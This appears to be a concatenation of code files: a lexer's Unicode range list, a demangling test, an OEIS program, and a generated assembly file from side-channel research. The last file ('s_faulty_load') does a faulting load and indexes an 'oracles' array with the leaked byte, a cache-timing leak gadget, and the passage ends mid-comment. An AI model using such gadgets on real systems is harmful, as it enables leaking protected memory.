| '\u00f8' .. '\u01ba'
| '\u01bb'
| '\u01bc' .. '\u01bf'
| '\u01c0' .. '\u01c3'
| '\u01c4' .. '\u0293'
| '\u0294'
| '\u0295' .. '\u02af'
| '\u02b0' .. '\u02c1'
| '\u02c6' .. '\u02d1'
| '\u02e0' .. '\u02e4'
| '\u02ec'
| '\u02ee'
| '\u0300' .. '\u036f'
| '\u0370' .. '\u0373'
| '\u0374'
| '\u0376' .. '\u0377'
| '\u037b' .. '\u037d'
| '\u0386'
| '\u0387'
| '\u0388' .. '\u038a'
| '\u038c'
| '\u038e' .. '\u03a1'
| '\u03a3' .. '\u03f5'
| '\u03f7' .. '\u0481'
| '\u0483' .. '\u0487'
| '\u048a' .. '\u0527'
| '\u0531' .. '\u0556'
| '\u0559'
| '\u0561' .. '\u0587'
| '\u0591' .. '\u05bd'
| '\u05bf'
| '\u05c1' .. '\u05c2'
| '\u05c4' .. '\u05c5'
| '\u05c7'
| '\u05d0' .. '\u05ea'
| '\u05f0' .. '\u05f2'
| '\u0610' .. '\u061a'
| '\u0620' .. '\u063f'
| '\u0640'
| '\u0641' .. '\u064a'
| '\u064b' .. '\u065f'
| '\u0660' .. '\u0669'
| '\u066e' .. '\u066f'
| '\u0670'
| '\u0671' .. '\u06d3'
| '\u06d5'
| '\u06d6' .. '\u06dc'
| '\u06df' .. '\u06e4'
| '\u06e5' .. '\u06e6'
| '\u06e7' .. '\u06e8'
| '\u06ea' .. '\u06ed'
| '\u06ee' .. '\u06ef'
| '\u06f0' .. '\u06f9'
| '\u06fa' .. '\u06fc'
| '\u06ff'
| '\u0710'
| '\u0711'
| '\u0712' .. '\u072f'
| '\u0730' .. '\u074a'
| '\u074d' .. '\u07a5'
| '\u07a6' .. '\u07b0'
| '\u07b1'
| '\u07c0' .. '\u07c9'
| '\u07ca' .. '\u07ea'
| '\u07eb' .. '\u07f3'
| '\u07f4' .. '\u07f5'
| '\u07fa'
| '\u0800' .. '\u0815'
| '\u0816' .. '\u0819'
| '\u081a'
| '\u081b' .. '\u0823'
| '\u0824'
| '\u0825' .. '\u0827'
| '\u0828'
| '\u0829' .. '\u082d'
| '\u0840' .. '\u0858'
| '\u0859' .. '\u085b'
| '\u0900' .. '\u0902'
| '\u0903'
| '\u0904' .. '\u0939'
| '\u093a'
| '\u093b'
| '\u093c'
| '\u093d'
| '\u093e' .. '\u0940'
| '\u0941' .. '\u0948'
| '\u0949' .. '\u094c'
| '\u094d'
| '\u094e' .. '\u094f'
| '\u0950'
| '\u0951' .. '\u0957'
| '\u0958' .. '\u0961'
| '\u0962' .. '\u0963'
| '\u0966' .. '\u096f'
| '\u0971'
| '\u0972' .. '\u0977'
| '\u0979' .. '\u097f'
| '\u0981'
| '\u0982' .. '\u0983'
| '\u0985' .. '\u098c'
| '\u098f' .. '\u0990'
| '\u0993' .. '\u09a8'
| '\u09aa' .. '\u09b0'
| '\u09b2'
| '\u09b6' .. '\u09b9'
| '\u09bc'
| '\u09bd'
| '\u09be' .. '\u09c0'
| '\u09c1' .. '\u09c4'
| '\u09c7' .. '\u09c8'
| '\u09cb' .. '\u09cc'
| '\u09cd'
| '\u09ce'
| '\u09d7'
| '\u09dc' .. '\u09dd'
| '\u09df' .. '\u09e1'
| '\u09e2' .. '\u09e3'
| '\u09e6' .. '\u09ef'
| '\u09f0' .. '\u09f1'
| '\u0a01' .. '\u0a02'
| '\u0a03'
| '\u0a05' .. '\u0a0a'
| '\u0a0f' .. '\u0a10'
| '\u0a13' .. '\u0a28'
| '\u0a2a' .. '\u0a30'
| '\u0a32' .. '\u0a33'
| '\u0a35' .. '\u0a36'
| '\u0a38' .. '\u0a39'
| '\u0a3c'
| '\u0a3e' .. '\u0a40'
| '\u0a41' .. '\u0a42'
| '\u0a47' .. '\u0a48'
| '\u0a4b' .. '\u0a4d'
| '\u0a51'
| '\u0a59' .. '\u0a5c'
| '\u0a5e'
| '\u0a66' .. '\u0a6f'
| '\u0a70' .. '\u0a71'
| '\u0a72' .. '\u0a74'
| '\u0a75'
| '\u0a81' .. '\u0a82'
| '\u0a83'
| '\u0a85' .. '\u0a8d'
| '\u0a8f' .. '\u0a91'
| '\u0a93' .. '\u0aa8'
| '\u0aaa' .. '\u0ab0'
| '\u0ab2' .. '\u0ab3'
| '\u0ab5' .. '\u0ab9'
| '\u0abc'
| '\u0abd'
| '\u0abe' .. '\u0ac0'
| '\u0ac1' .. '\u0ac5'
| '\u0ac7' .. '\u0ac8'
| '\u0ac9'
| '\u0acb' .. '\u0acc'
| '\u0acd'
| '\u0ad0'
| '\u0ae0' .. '\u0ae1'
| '\u0ae2' .. '\u0ae3'
| '\u0ae6' .. '\u0aef'
| '\u0b01'
| '\u0b02' .. '\u0b03'
| '\u0b05' .. '\u0b0c'
| '\u0b0f' .. '\u0b10'
| '\u0b13' .. '\u0b28'
| '\u0b2a' .. '\u0b30'
| '\u0b32' .. '\u0b33'
| '\u0b35' .. '\u0b39'
| '\u0b3c'
| '\u0b3d'
| '\u0b3e'
| '\u0b3f'
| '\u0b40'
| '\u0b41' .. '\u0b44'
| '\u0b47' .. '\u0b48'
| '\u0b4b' .. '\u0b4c'
| '\u0b4d'
| '\u0b56'
| '\u0b57'
| '\u0b5c' .. '\u0b5d'
| '\u0b5f' .. '\u0b61'
| '\u0b62' .. '\u0b63'
| '\u0b66' .. '\u0b6f'
| '\u0b71'
| '\u0b82'
| '\u0b83'
| '\u0b85' .. '\u0b8a'
| '\u0b8e' .. '\u0b90'
| '\u0b92' .. '\u0b95'
| '\u0b99' .. '\u0b9a'
| '\u0b9c'
| '\u0b9e' .. '\u0b9f'
| '\u0ba3' .. '\u0ba4'
| '\u0ba8' .. '\u0baa'
| '\u0bae' .. '\u0bb9'
| '\u0bbe' .. '\u0bbf'
| '\u0bc0'
| '\u0bc1' .. '\u0bc2'
| '\u0bc6' .. '\u0bc8'
| '\u0bca' .. '\u0bcc'
| '\u0bcd'
| '\u0bd0'
| '\u0bd7'
| '\u0be6' .. '\u0bef'
| '\u0c01' .. '\u0c03'
| '\u0c05' .. '\u0c0c'
| '\u0c0e' .. '\u0c10'
| '\u0c12' .. '\u0c28'
| '\u0c2a' .. '\u0c33'
| '\u0c35' .. '\u0c39'
| '\u0c3d'
| '\u0c3e' .. '\u0c40'
| '\u0c41' .. '\u0c44'
| '\u0c46' .. '\u0c48'
| '\u0c4a' .. '\u0c4d'
| '\u0c55' .. '\u0c56'
| '\u0c58' .. '\u0c59'
| '\u0c60' .. '\u0c61'
| '\u0c62' .. '\u0c63'
| '\u0c66' .. '\u0c6f'
| '\u0c82' .. '\u0c83'
| '\u0c85' .. '\u0c8c'
| '\u0c8e' .. '\u0c90'
| '\u0c92' .. '\u0ca8'
| '\u0caa' .. '\u0cb3'
| '\u0cb5' .. '\u0cb9'
| '\u0cbc'
| '\u0cbd'
| '\u0cbe'
| '\u0cbf'
| '\u0cc0' .. '\u0cc4'
| '\u0cc6'
| '\u0cc7' .. '\u0cc8'
| '\u0cca' .. '\u0ccb'
| '\u0ccc' .. '\u0ccd'
| '\u0cd5' .. '\u0cd6'
| '\u0cde'
| '\u0ce0' .. '\u0ce1'
| '\u0ce2' .. '\u0ce3'
| '\u0ce6' .. '\u0cef'
| '\u0cf1' .. '\u0cf2'
| '\u0d02' .. '\u0d03'
| '\u0d05' .. '\u0d0c'
| '\u0d0e' .. '\u0d10'
| '\u0d12' .. '\u0d3a'
| '\u0d3d'
| '\u0d3e' .. '\u0d40'
| '\u0d41' .. '\u0d44'
| '\u0d46' .. '\u0d48'
| '\u0d4a' .. '\u0d4c'
| '\u0d4d'
| '\u0d4e'
| '\u0d57'
| '\u0d60' .. '\u0d61'
| '\u0d62' .. '\u0d63'
| '\u0d66' .. '\u0d6f'
| '\u0d7a' .. '\u0d7f'
| '\u0d82' .. '\u0d83'
| '\u0d85' .. '\u0d96'
| '\u0d9a' .. '\u0db1'
| '\u0db3' .. '\u0dbb'
| '\u0dbd'
| '\u0dc0' .. '\u0dc6'
| '\u0dca'
| '\u0dcf' .. '\u0dd1'
| '\u0dd2' .. '\u0dd4'
| '\u0dd6'
| '\u0dd8' .. '\u0ddf'
| '\u0df2' .. '\u0df3'
| '\u0e01' .. '\u0e30'
| '\u0e31'
| '\u0e32' .. '\u0e33'
| '\u0e34' .. '\u0e3a'
| '\u0e40' .. '\u0e45'
| '\u0e46'
| '\u0e47' .. '\u0e4e'
| '\u0e50' .. '\u0e59'
| '\u0e81' .. '\u0e82'
| '\u0e84'
| '\u0e87' .. '\u0e88'
| '\u0e8a'
| '\u0e8d'
| '\u0e94' .. '\u0e97'
| '\u0e99' .. '\u0e9f'
| '\u0ea1' .. '\u0ea3'
| '\u0ea5'
| '\u0ea7'
| '\u0eaa' .. '\u0eab'
| '\u0ead' .. '\u0eb0'
| '\u0eb1'
| '\u0eb2' .. '\u0eb3'
| '\u0eb4' .. '\u0eb9'
| '\u0ebb' .. '\u0ebc'
| '\u0ebd'
| '\u0ec0' .. '\u0ec4'
| '\u0ec6'
| '\u0ec8' .. '\u0ecd'
| '\u0ed0' .. '\u0ed9'
| '\u0edc' .. '\u0edd'
| '\u0f00'
| '\u0f18' .. '\u0f19'
| '\u0f20' .. '\u0f29'
| '\u0f35'
| '\u0f37'
| '\u0f39'
| '\u0f3e' .. '\u0f3f'
| '\u0f40' .. '\u0f47'
| '\u0f49' .. '\u0f6c'
| '\u0f71' .. '\u0f7e'
| '\u0f7f'
| '\u0f80' .. '\u0f84'
| '\u0f86' .. '\u0f87'
| '\u0f88' .. '\u0f8c'
| '\u0f8d' .. '\u0f97'
| '\u0f99' .. '\u0fbc'
| '\u0fc6'
| '\u1000' .. '\u102a'
| '\u102b' .. '\u102c'
| '\u102d' .. '\u1030'
| '\u1031'
| '\u1032' .. '\u1037'
| '\u1038'
| '\u1039' .. '\u103a'
| '\u103b' .. '\u103c'
| '\u103d' .. '\u103e'
| '\u103f'
| '\u1040' .. '\u1049'
| '\u1050' .. '\u1055'
| '\u1056' .. '\u1057'
| '\u1058' .. '\u1059'
| '\u105a' .. '\u105d'
| '\u105e' .. '\u1060'
| '\u1061'
| '\u1062' .. '\u1064'
| '\u1065' .. '\u1066'
| '\u1067' .. '\u106d'
| '\u106e' .. '\u1070'
| '\u1071' .. '\u1074'
| '\u1075' .. '\u1081'
| '\u1082'
| '\u1083' .. '\u1084'
| '\u1085' .. '\u1086'
| '\u1087' .. '\u108c'
| '\u108d'
| '\u108e'
| '\u108f'
| '\u1090' .. '\u1099'
| '\u109a' .. '\u109c'
| '\u109d'
| '\u10a0' .. '\u10c5'
| '\u10d0' .. '\u10fa'
| '\u10fc'
| '\u1100' .. '\u1248'
| '\u124a' .. '\u124d'
| '\u1250' .. '\u1256'
| '\u1258'
| '\u125a' .. '\u125d'
| '\u1260' .. '\u1288'
| '\u128a' .. '\u128d'
| '\u1290' .. '\u12b0'
| '\u12b2' .. '\u12b5'
| '\u12b8' .. '\u12be'
| '\u12c0'
| '\u12c2' .. '\u12c5'
| '\u12c8' .. '\u12d6'
| '\u12d8' .. '\u1310'
| '\u1312' .. '\u1315'
| '\u1318' .. '\u135a'
| '\u135d' .. '\u135f'
| '\u1369' .. '\u1371'
| '\u1380' .. '\u138f'
| '\u13a0' .. '\u13f4'
| '\u1401' .. '\u166c'
| '\u166f' .. '\u167f'
| '\u1681' .. '\u169a'
| '\u16a0' .. '\u16ea'
| '\u16ee' .. '\u16f0'
| '\u1700' .. '\u170c'
| '\u170e' .. '\u1711'
| '\u1712' .. '\u1714'
| '\u1720' .. '\u1731'
| '\u1732' .. '\u1734'
| '\u1740' .. '\u1751'
| '\u1752' .. '\u1753'
| '\u1760' .. '\u176c'
| '\u176e' .. '\u1770'
| '\u1772' .. '\u1773'
| '\u1780' .. '\u17b3'
| '\u17b6'
| '\u17b7' .. '\u17bd'
| '\u17be' .. '\u17c5'
| '\u17c6'
| '\u17c7' .. '\u17c8'
| '\u17c9' .. '\u17d3'
| '\u17d7'
| '\u17dc'
| '\u17dd'
| '\u17e0' .. '\u17e9'
| '\u180b' .. '\u180d'
| '\u1810' .. '\u1819'
| '\u1820' .. '\u1842'
| '\u1843'
| '\u1844' .. '\u1877'
| '\u1880' .. '\u18a8'
| '\u18a9'
| '\u18aa'
| '\u18b0' .. '\u18f5'
| '\u1900' .. '\u191c'
| '\u1920' .. '\u1922'
| '\u1923' .. '\u1926'
| '\u1927' .. '\u1928'
| '\u1929' .. '\u192b'
| '\u1930' .. '\u1931'
| '\u1932'
| '\u1933' .. '\u1938'
| '\u1939' .. '\u193b'
| '\u1946' .. '\u194f'
| '\u1950' .. '\u196d'
| '\u1970' .. '\u1974'
| '\u1980' .. '\u19ab'
| '\u19b0' .. '\u19c0'
| '\u19c1' .. '\u19c7'
| '\u19c8' .. '\u19c9'
| '\u19d0' .. '\u19d9'
| '\u19da'
| '\u1a00' .. '\u1a16'
| '\u1a17' .. '\u1a18'
| '\u1a19' .. '\u1a1b'
| '\u1a20' .. '\u1a54'
| '\u1a55'
| '\u1a56'
| '\u1a57'
| '\u1a58' .. '\u1a5e'
| '\u1a60'
| '\u1a61'
| '\u1a62'
| '\u1a63' .. '\u1a64'
| '\u1a65' .. '\u1a6c'
| '\u1a6d' .. '\u1a72'
| '\u1a73' .. '\u1a7c'
| '\u1a7f'
| '\u1a80' .. '\u1a89'
| '\u1a90' .. '\u1a99'
| '\u1aa7'
| '\u1b00' .. '\u1b03'
| '\u1b04'
| '\u1b05' .. '\u1b33'
| '\u1b34'
| '\u1b35'
| '\u1b36' .. '\u1b3a'
| '\u1b3b'
| '\u1b3c'
| '\u1b3d' .. '\u1b41'
| '\u1b42'
| '\u1b43' .. '\u1b44'
| '\u1b45' .. '\u1b4b'
| '\u1b50' .. '\u1b59'
| '\u1b6b' .. '\u1b73'
| '\u1b80' .. '\u1b81'
| '\u1b82'
| '\u1b83' .. '\u1ba0'
| '\u1ba1'
| '\u1ba2' .. '\u1ba5'
| '\u1ba6' .. '\u1ba7'
| '\u1ba8' .. '\u1ba9'
| '\u1baa'
| '\u1bae' .. '\u1baf'
| '\u1bb0' .. '\u1bb9'
| '\u1bc0' .. '\u1be5'
| '\u1be6'
| '\u1be7'
| '\u1be8' .. '\u1be9'
| '\u1bea' .. '\u1bec'
| '\u1bed'
| '\u1bee'
| '\u1bef' .. '\u1bf1'
| '\u1bf2' .. '\u1bf3'
| '\u1c00' .. '\u1c23'
| '\u1c24' .. '\u1c2b'
| '\u1c2c' .. '\u1c33'
| '\u1c34' .. '\u1c35'
| '\u1c36' .. '\u1c37'
| '\u1c40' .. '\u1c49'
| '\u1c4d' .. '\u1c4f'
| '\u1c50' .. '\u1c59'
| '\u1c5a' .. '\u1c77'
| '\u1c78' .. '\u1c7d'
| '\u1cd0' .. '\u1cd2'
| '\u1cd4' .. '\u1ce0'
| '\u1ce1'
| '\u1ce2' .. '\u1ce8'
| '\u1ce9' .. '\u1cec'
| '\u1ced'
| '\u1cee' .. '\u1cf1'
| '\u1cf2'
| '\u1d00' .. '\u1d2b'
| '\u1d2c' .. '\u1d61'
| '\u1d62' .. '\u1d77'
| '\u1d78'
| '\u1d79' .. '\u1d9a'
| '\u1d9b' .. '\u1dbf'
| '\u1dc0' .. '\u1de6'
| '\u1dfc' .. '\u1dff'
| '\u1e00' .. '\u1f15'
| '\u1f18' .. '\u1f1d'
| '\u1f20' .. '\u1f45'
| '\u1f48' .. '\u1f4d'
| '\u1f50' .. '\u1f57'
| '\u1f59'
| '\u1f5b'
| '\u1f5d'
| '\u1f5f' .. '\u1f7d'
| '\u1f80' .. '\u1fb4'
| '\u1fb6' .. '\u1fbc'
| '\u1fbe'
| '\u1fc2' .. '\u1fc4'
| '\u1fc6' .. '\u1fcc'
| '\u1fd0' .. '\u1fd3'
| '\u1fd6' .. '\u1fdb'
| '\u1fe0' .. '\u1fec'
| '\u1ff2' .. '\u1ff4'
| '\u1ff6' .. '\u1ffc'
| '\u203f' .. '\u2040'
| '\u2054'
| '\u2071'
| '\u207f'
| '\u2090' .. '\u209c'
| '\u20d0' .. '\u20dc'
| '\u20e1'
| '\u20e5' .. '\u20f0'
| '\u2102'
| '\u2107'
| '\u210a' .. '\u2113'
| '\u2115'
| '\u2118'
| '\u2119' .. '\u211d'
| '\u2124'
| '\u2126'
| '\u2128'
| '\u212a' .. '\u212d'
| '\u212e'
| '\u212f' .. '\u2134'
| '\u2135' .. '\u2138'
| '\u2139'
| '\u213c' .. '\u213f'
| '\u2145' .. '\u2149'
| '\u214e'
| '\u2160' .. '\u2182'
| '\u2183' .. '\u2184'
| '\u2185' .. '\u2188'
| '\u2c00' .. '\u2c2e'
| '\u2c30' .. '\u2c5e'
| '\u2c60' .. '\u2c7c'
| '\u2c7d'
| '\u2c7e' .. '\u2ce4'
| '\u2ceb' .. '\u2cee'
| '\u2cef' .. '\u2cf1'
| '\u2d00' .. '\u2d25'
| '\u2d30' .. '\u2d65'
| '\u2d6f'
| '\u2d7f'
| '\u2d80' .. '\u2d96'
| '\u2da0' .. '\u2da6'
| '\u2da8' .. '\u2dae'
| '\u2db0' .. '\u2db6'
| '\u2db8' .. '\u2dbe'
| '\u2dc0' .. '\u2dc6'
| '\u2dc8' .. '\u2dce'
| '\u2dd0' .. '\u2dd6'
| '\u2dd8' .. '\u2dde'
| '\u2de0' .. '\u2dff'
| '\u3005'
| '\u3006'
| '\u3007'
| '\u3021' .. '\u3029'
| '\u302a' .. '\u302f'
| '\u3031' .. '\u3035'
| '\u3038' .. '\u303a'
| '\u303b'
| '\u303c'
| '\u3041' .. '\u3096'
| '\u3099' .. '\u309a'
| '\u309d' .. '\u309e'
| '\u309f'
| '\u30a1' .. '\u30fa'
| '\u30fc' .. '\u30fe'
| '\u30ff'
| '\u3105' .. '\u312d'
| '\u3131' .. '\u318e'
| '\u31a0' .. '\u31ba'
| '\u31f0' .. '\u31ff'
| '\u3400' .. '\u4db5'
| '\u4e00' .. '\u9fcb'
| '\ua000' .. '\ua014'
| '\ua015'
| '\ua016' .. '\ua48c'
| '\ua4d0' .. '\ua4f7'
| '\ua4f8' .. '\ua4fd'
| '\ua500' .. '\ua60b'
| '\ua60c'
| '\ua610' .. '\ua61f'
| '\ua620' .. '\ua629'
| '\ua62a' .. '\ua62b'
| '\ua640' .. '\ua66d'
| '\ua66e'
| '\ua66f'
| '\ua67c' .. '\ua67d'
| '\ua67f'
| '\ua680' .. '\ua697'
| '\ua6a0' .. '\ua6e5'
| '\ua6e6' .. '\ua6ef'
| '\ua6f0' .. '\ua6f1'
| '\ua717' .. '\ua71f'
| '\ua722' .. '\ua76f'
| '\ua770'
| '\ua771' .. '\ua787'
| '\ua788'
| '\ua78b' .. '\ua78e'
| '\ua790' .. '\ua791'
| '\ua7a0' .. '\ua7a9'
| '\ua7fa'
| '\ua7fb' .. '\ua801'
| '\ua802'
| '\ua803' .. '\ua805'
| '\ua806'
| '\ua807' .. '\ua80a'
| '\ua80b'
| '\ua80c' .. '\ua822'
| '\ua823' .. '\ua824'
| '\ua825' .. '\ua826'
| '\ua827'
| '\ua840' .. '\ua873'
| '\ua880' .. '\ua881'
| '\ua882' .. '\ua8b3'
| '\ua8b4' .. '\ua8c3'
| '\ua8c4'
| '\ua8d0' .. '\ua8d9'
| '\ua8e0' .. '\ua8f1'
| '\ua8f2' .. '\ua8f7'
| '\ua8fb'
| '\ua900' .. '\ua909'
| '\ua90a' .. '\ua925'
| '\ua926' .. '\ua92d'
| '\ua930' .. '\ua946'
| '\ua947' .. '\ua951'
| '\ua952' .. '\ua953'
| '\ua960' .. '\ua97c'
| '\ua980' .. '\ua982'
| '\ua983'
| '\ua984' .. '\ua9b2'
| '\ua9b3'
| '\ua9b4' .. '\ua9b5'
| '\ua9b6' .. '\ua9b9'
| '\ua9ba' .. '\ua9bb'
| '\ua9bc'
| '\ua9bd' .. '\ua9c0'
| '\ua9cf'
| '\ua9d0' .. '\ua9d9'
| '\uaa00' .. '\uaa28'
| '\uaa29' .. '\uaa2e'
| '\uaa2f' .. '\uaa30'
| '\uaa31' .. '\uaa32'
| '\uaa33' .. '\uaa34'
| '\uaa35' .. '\uaa36'
| '\uaa40' .. '\uaa42'
| '\uaa43'
| '\uaa44' .. '\uaa4b'
| '\uaa4c'
| '\uaa4d'
| '\uaa50' .. '\uaa59'
| '\uaa60' .. '\uaa6f'
| '\uaa70'
| '\uaa71' .. '\uaa76'
| '\uaa7a'
| '\uaa7b'
| '\uaa80' .. '\uaaaf'
| '\uaab0'
| '\uaab1'
| '\uaab2' .. '\uaab4'
| '\uaab5' .. '\uaab6'
| '\uaab7' .. '\uaab8'
| '\uaab9' .. '\uaabd'
| '\uaabe' .. '\uaabf'
| '\uaac0'
| '\uaac1'
| '\uaac2'
| '\uaadb' .. '\uaadc'
| '\uaadd'
| '\uab01' .. '\uab06'
| '\uab09' .. '\uab0e'
| '\uab11' .. '\uab16'
| '\uab20' .. '\uab26'
| '\uab28' .. '\uab2e'
| '\uabc0' .. '\uabe2'
| '\uabe3' .. '\uabe4'
| '\uabe5'
| '\uabe6' .. '\uabe7'
| '\uabe8'
| '\uabe9' .. '\uabea'
| '\uabec'
| '\uabed'
| '\uabf0' .. '\uabf9'
| '\uac00' .. '\ud7a3'
| '\ud7b0' .. '\ud7c6'
| '\ud7cb' .. '\ud7fb'
| '\uf900' .. '\ufa2d'
| '\ufa30' .. '\ufa6d'
| '\ufa70' .. '\ufad9'
| '\ufb00' .. '\ufb06'
| '\ufb13' .. '\ufb17'
| '\ufb1d'
| '\ufb1e'
| '\ufb1f' .. '\ufb28'
| '\ufb2a' .. '\ufb36'
| '\ufb38' .. '\ufb3c'
| '\ufb3e'
| '\ufb40' .. '\ufb41'
| '\ufb43' .. '\ufb44'
| '\ufb46' .. '\ufbb1'
| '\ufbd3' .. '\ufc5d'
| '\ufc64' .. '\ufd3d'
| '\ufd50' .. '\ufd8f'
| '\ufd92' .. '\ufdc7'
| '\ufdf0' .. '\ufdf9'
| '\ufe00' .. '\ufe0f'
| '\ufe20' .. '\ufe26'
| '\ufe33' .. '\ufe34'
| '\ufe4d' .. '\ufe4f'
| '\ufe71'
| '\ufe73'
| '\ufe77'
| '\ufe79'
| '\ufe7b'
| '\ufe7d'
| '\ufe7f' .. '\ufefc'
| '\uff10' .. '\uff19'
| '\uff21' .. '\uff3a'
| '\uff3f'
| '\uff41' .. '\uff5a'
| '\uff66' .. '\uff6f'
| '\uff70'
| '\uff71' .. '\uff9d'
| '\uff9e' .. '\uff9f'
| '\uffa0' .. '\uffbe'
| '\uffc2' .. '\uffc7'
| '\uffca' .. '\uffcf'
| '\uffd2' .. '\uffd7'
| '\uffda' .. '\uffdc'
| '\U00010000' .. '\U0001000b'
| '\U0001000d' .. '\U00010026'
| '\U00010028' .. '\U0001003a'
| '\U0001003c' .. '\U0001003d'
| '\U0001003f' .. '\U0001004d'
| '\U00010050' .. '\U0001005d'
| '\U00010080' .. '\U000100fa'
| '\U00010140' .. '\U00010174'
| '\U000101fd'
| '\U00010280' .. '\U0001029c'
| '\U000102a0' .. '\U000102d0'
| '\U00010300' .. '\U0001031e'
| '\U00010330' .. '\U00010340'
| '\U00010341'
| '\U00010342' .. '\U00010349'
| '\U0001034a'
| '\U00010380' .. '\U0001039d'
| '\U000103a0' .. '\U000103c3'
| '\U000103c8' .. '\U000103cf'
| '\U000103d1' .. '\U000103d5'
| '\U00010400' .. '\U0001044f'
| '\U00010450' .. '\U0001049d'
| '\U000104a0' .. '\U000104a9'
| '\U00010800' .. '\U00010805'
| '\U00010808'
| '\U0001080a' .. '\U00010835'
| '\U00010837' .. '\U00010838'
| '\U0001083c'
| '\U0001083f' .. '\U00010855'
| '\U00010900' .. '\U00010915'
| '\U00010920' .. '\U00010939'
| '\U00010a00'
| '\U00010a01' .. '\U00010a03'
| '\U00010a05' .. '\U00010a06'
| '\U00010a0c' .. '\U00010a0f'
| '\U00010a10' .. '\U00010a13'
| '\U00010a15' .. '\U00010a17'
| '\U00010a19' .. '\U00010a33'
| '\U00010a38' .. '\U00010a3a'
| '\U00010a3f'
| '\U00010a60' .. '\U00010a7c'
| '\U00010b00' .. '\U00010b35'
| '\U00010b40' .. '\U00010b55'
| '\U00010b60' .. '\U00010b72'
| '\U00010c00' .. '\U00010c48'
| '\U00011000'
| '\U00011001'
| '\U00011002'
| '\U00011003' .. '\U00011037'
| '\U00011038' .. '\U00011046'
| '\U00011066' .. '\U0001106f'
| '\U00011080' .. '\U00011081'
| '\U00011082'
| '\U00011083' .. '\U000110af'
| '\U000110b0' .. '\U000110b2'
| '\U000110b3' .. '\U000110b6'
| '\U000110b7' .. '\U000110b8'
| '\U000110b9' .. '\U000110ba'
| '\U00012000' .. '\U0001236e'
| '\U00012400' .. '\U00012462'
| '\U00013000' .. '\U0001342e'
| '\U00016800' .. '\U00016a38'
| '\U0001b000' .. '\U0001b001'
| '\U0001d165' .. '\U0001d166'
| '\U0001d167' .. '\U0001d169'
| '\U0001d16d' .. '\U0001d172'
| '\U0001d17b' .. '\U0001d182'
| '\U0001d185' .. '\U0001d18b'
| '\U0001d1aa' .. '\U0001d1ad'
| '\U0001d242' .. '\U0001d244'
| '\U0001d400' .. '\U0001d454'
| '\U0001d456' .. '\U0001d49c'
| '\U0001d49e' .. '\U0001d49f'
| '\U0001d4a2'
| '\U0001d4a5' .. '\U0001d4a6'
| '\U0001d4a9' .. '\U0001d4ac'
| '\U0001d4ae' .. '\U0001d4b9'
| '\U0001d4bb'
| '\U0001d4bd' .. '\U0001d4c3'
| '\U0001d4c5' .. '\U0001d505'
| '\U0001d507' .. '\U0001d50a'
| '\U0001d50d' .. '\U0001d514'
| '\U0001d516' .. '\U0001d51c'
| '\U0001d51e' .. '\U0001d539'
| '\U0001d53b' .. '\U0001d53e'
| '\U0001d540' .. '\U0001d544'
| '\U0001d546'
| '\U0001d54a' .. '\U0001d550'
| '\U0001d552' .. '\U0001d6a5'
| '\U0001d6a8' .. '\U0001d6c0'
| '\U0001d6c2' .. '\U0001d6da'
| '\U0001d6dc' .. '\U0001d6fa'
| '\U0001d6fc' .. '\U0001d714'
| '\U0001d716' .. '\U0001d734'
| '\U0001d736' .. '\U0001d74e'
| '\U0001d750' .. '\U0001d76e'
| '\U0001d770' .. '\U0001d788'
| '\U0001d78a' .. '\U0001d7a8'
| '\U0001d7aa' .. '\U0001d7c2'
| '\U0001d7c4' .. '\U0001d7cb'
| '\U0001d7ce' .. '\U0001d7ff'
| '\U00020000' .. '\U0002a6d6'
| '\U0002a700' .. '\U0002b734'
| '\U0002b740' .. '\U0002b81d'
| '\U0002f800' .. '\U0002fa1d'
| '\U000e0100' .. '\U000e01ef'
;
|
test/demangle-cases/bug-1468b.asm | OfekShilon/compiler-explorer | 4,668 | 243847 | <reponame>OfekShilon/compiler-explorer
_Z1gv:
subq $8, %rsp
call *_ZN3foo3bazE+8(%rip)
xorl %eax, %eax
addq $8, %rsp
ret |
programs/oeis/300/A300403.asm | karttu/loda | 1 | 18223 | <reponame>karttu/loda<gh_stars>1-10
; A300403: Smallest integer i such that SSCG(i) >= n.
; 0,0,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2
mov $1,2
mov $2,6
trn $2,$0
add $2,4
div $2,3
div $1,$2
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_201.asm | ljhsiun2/medusa | 9 | 23456 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x14dad, %rsi
lea addresses_A_ht+0x12cad, %rdi
nop
nop
nop
and %rbx, %rbx
mov $114, %rcx
rep movsl
nop
nop
dec %r12
lea addresses_WC_ht+0x12d6d, %rbx
nop
nop
nop
and $17379, %rbp
movb (%rbx), %r12b
and %rbx, %rbx
lea addresses_UC_ht+0x7b9d, %rsi
lea addresses_UC_ht+0x18a4e, %rdi
nop
nop
nop
add %rbp, %rbp
mov $103, %rcx
rep movsb
nop
cmp %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rsi
// Load
lea addresses_A+0xcc3d, %r14
nop
nop
inc %rsi
movb (%r14), %bl
nop
dec %rbx
// Store
lea addresses_A+0x1c1c5, %rax
nop
xor $14094, %r11
mov $0x5152535455565758, %r14
movq %r14, %xmm3
vmovaps %ymm3, (%rax)
nop
xor $24918, %r13
// Store
lea addresses_US+0x30ed, %rcx
nop
nop
sub %r14, %r14
mov $0x5152535455565758, %rsi
movq %rsi, (%rcx)
nop
nop
nop
nop
nop
cmp $44106, %rax
// Store
lea addresses_A+0xbb6d, %rcx
and %rbx, %rbx
mov $0x5152535455565758, %rax
movq %rax, (%rcx)
nop
nop
nop
nop
dec %rcx
// Faulty Load
lea addresses_US+0x1916d, %r11
nop
xor %r14, %r14
mov (%r11), %ebx
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': True}}
